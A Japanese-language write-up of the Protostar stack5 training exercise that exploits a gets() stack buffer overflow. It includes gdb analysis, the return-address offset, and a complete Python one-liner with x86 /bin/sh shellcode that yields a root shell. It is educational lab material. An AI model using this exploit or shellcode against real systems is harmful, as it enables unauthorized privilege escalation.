Exploit Exercises Protostar stack5 writeup

問題のコード

Protostar Stack5 - Exploit Exercises

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

stack overflow で shellをとればいいっぽい。

writeup

gdbでリターンアドレスと、getsで入る文字列の位置を確認する。

$ gdb -q stack5
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) disas main
Dump of assembler code for function main:
0x080483c4 <main+0>: push   %ebp
0x080483c5 <main+1>: mov   %esp,%ebp
0x080483c7 <main+3>: and    $0xfffffff0,%esp
0x080483ca <main+6>: sub    $0x50,%esp
0x080483cd <main+9>: lea    0x10(%esp),%eax
0x080483d1 <main+13>: mov    %eax,(%esp)
0x080483d4 <main+16>: call   0x80482e8 <gets@plt>
0x080483d9 <main+21>: leave  
0x080483da <main+22>: ret    
End of assembler dump.
(gdb) break *main+21
Breakpoint 1 at 0x80483d9: file stack5/stack5.c, line 11.
(gdb) r
Starting program: /opt/protostar/bin/stack5 
aaaaaaaaaaaaaaa

Breakpoint 1, main (argc=1, argv=0xbffffd64) at stack5/stack5.c:11
11	stack5/stack5.c: No such file or directory.
	in stack5/stack5.c

(gdb) x/2x $ebp
0xbffffcb8: 0xbffffd38 0xb7eadc76 // ebp address, return address
(gdb) x/24x $esp
0xbffffc60: 0xbffffc70 0xb7ec6165 0xbffffc78 0xb7eada75
0xbffffc70: 0x61616161 0x61616161 0x61616161 0x00616161
0xbffffc80: 0xb7ff1040 0x0804958c 0xbffffcb8 0x08048409
0xbffffc90: 0xb7fd8304 0xb7fd7ff4 0x080483f0 0xbffffcb8
0xbffffca0: 0xb7ec6365 0xb7ff1040 0x080483fb 0xb7fd7ff4
0xbffffcb0: 0x080483f0 0x00000000 0xbffffd38 0xb7eadc76
(gdb) p (0xbffffcc0-4) - 0xbffffc70
$1 = 76

リターンアドレスをshellcodeの開始アドレスに書き換えればいい。最初は、return address の書き換えが、うまくいかなかったがgdb内のアドレスはgdb外で実行した時のアドレスとは異なるからだった。

rootユーザで echo 2 > /proc/sys/fs/suid_dumpable、ulimit -c unlimited するとcore dumpが生成されるようになるので、それを使ってgdb外で実行された時のアドレスを得た。

$ python -c 'print "a"*80' | ./stack5
Segmentation fault (core dumped)
$ gdb -q stack5 --core=/tmp/core.11.stack5.2954
Reading symbols from /opt/protostar/bin/stack5...done.

warning: Can't read pathname for load map: Input/output error.
Reading symbols from /lib/libc.so.6...Reading symbols from /usr/lib/debug/lib/libc-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...Reading symbols from /usr/lib/debug/lib/ld-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
Core was generated by `./stack5'.
Program terminated with signal 11, Segmentation fault.
#0  0x61616161 in ?? ()
(gdb) x/8x $esp-16
0xbffffd00:	0x61616161	0x61616161	0x61616161	0x61616161
0xbffffd10:	0x00000000	0xbffffdb4	0xbffffdbc	0xb7fe1848

0xbffffd10にshellcodeを入れる。バッファをaで埋め、return address を 0xbffffd10にすればよい。

shellcodeはshell-stormに上がっているものを使った。
Linux/x86 - stdin re-open and /bin/sh execute

$ python -c 'print "a"*76 + "\xbf\xff\xfd\x10"[::-1] + "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"' | ./stack5
# whoami
root
# exit